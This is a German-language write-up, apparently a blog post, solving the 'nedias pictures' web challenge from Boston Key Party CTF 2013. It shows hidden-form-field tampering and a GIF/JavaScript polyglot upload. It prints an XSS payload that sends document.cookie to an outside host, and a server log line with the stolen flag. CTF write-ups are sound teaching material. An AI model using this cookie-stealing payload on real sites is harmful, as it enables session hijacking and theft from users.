Boston Key Party CTF 2013 – nedias pictures :)

Boston Key Party CTF 2013 - Nedias Pictures ;) - task description

Die Challenge (nedias pictures) beschreibt eine Person namens “Nedia”, die sich gern Bilder ansieht und Flaggen gern in Cookies versteckt ;-). Alles deutet also hier bereits auf ein Cross Site Scripting hin. Wir besuchen zunächst die genannte Webseite für Uploads.

Boston Key Party CTF 2013 - Nedias Pictures ;) - Image upload

Wir finden ein simples Upload-Formular vor, das uns das Hochladen von Bildern gestattet und nach Absenden beispielsweise folgendes meldet.

Boston Key Party CTF 2013 - Nedias Pictures ;) - Image recognized

Dabei wird uns das hochgeladene Bild immer zu “nediapicture.gif” umbenannt und auf der Webseite angezeigt. Ein Blick in den Quellcode der Seite zeigt dabei:

Boston Key Party CTF 2013 - Nedias Pictures ;) - Website source code

Es existiert ein weiteres versteckes Formularfeld namens “tag”, das mit “img” vorbelegt ist! Tesweise ändern wir dieses Feld mit Hilfe von Tamper Data auf – versuchsweise -“script” ;-).

Boston Key Party CTF 2013 - Nedias Pictures ;) - Tamper Data parameter manipulation

Anschließend können wir folgende Änderung im Quellcode der Webseite beobachten.

Boston Key Party CTF 2013 - Nedias Pictures ;) - Script tag

Das versteckte Formularfeld “tag” steuert also das Tag, mit dem das hochgeladene Bild eingebunden wird. Wenn es uns nun gelingt Javascript-Code in das Bild einzufügen, so dass dieser korrekt interpretiert wird, können wir den Cookie von “Nedia” abgreifen.

Die Suche nach dem Einbetten von Javascript in GIF-Bilder liefert einen Blog-Eintrag. Daran orientiert erstellen wir folgendes GIF-Bild, das mit Hilfe von Javascript ein Cross Site Scripting durchführt und die Cookies jedes Besuchers zu uns überträgt.

Boston Key Party CTF 2013 - Nedias Pictures ;) - Javascript embedded GIF image

Dabei ist auf den korrekten Javascript-Syntax zu achten, weshalb dem GIF-Header (GIF89a) Eins zugewiesen wird. Außerdem werden alle Header-Daten per Javascript-Kommentar (/* … */) ausgeblendet. Übrig bleibt das eigentliche Cross Site Scripting in Form von:

document.write("<img src='http://f00l.de/a.gif?x=" + document.cookie + "'>");

Nachdem dieses GIF-Bild hochgeladen wurde, besucht auch schon Nedia unsere Seite, was sich wie folgt in der Log-Datei zeigt:

54.218.11.211 - - [09/Jun/2013:17:54:54 +0200] "GET /a.gif?x=flag=didnt_need_script_tags_on_ie6 HTTP/1.1" 404 464 "http://localhost/gallery/9654dc3ee66a11d3dee6144ae371c5e0a8336b54/upload.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0"

Die Lösung lautet somit “didnt_need_script_tags_on_ie6“.

Leave a Reply

Your email address will not be published. Required fields are marked *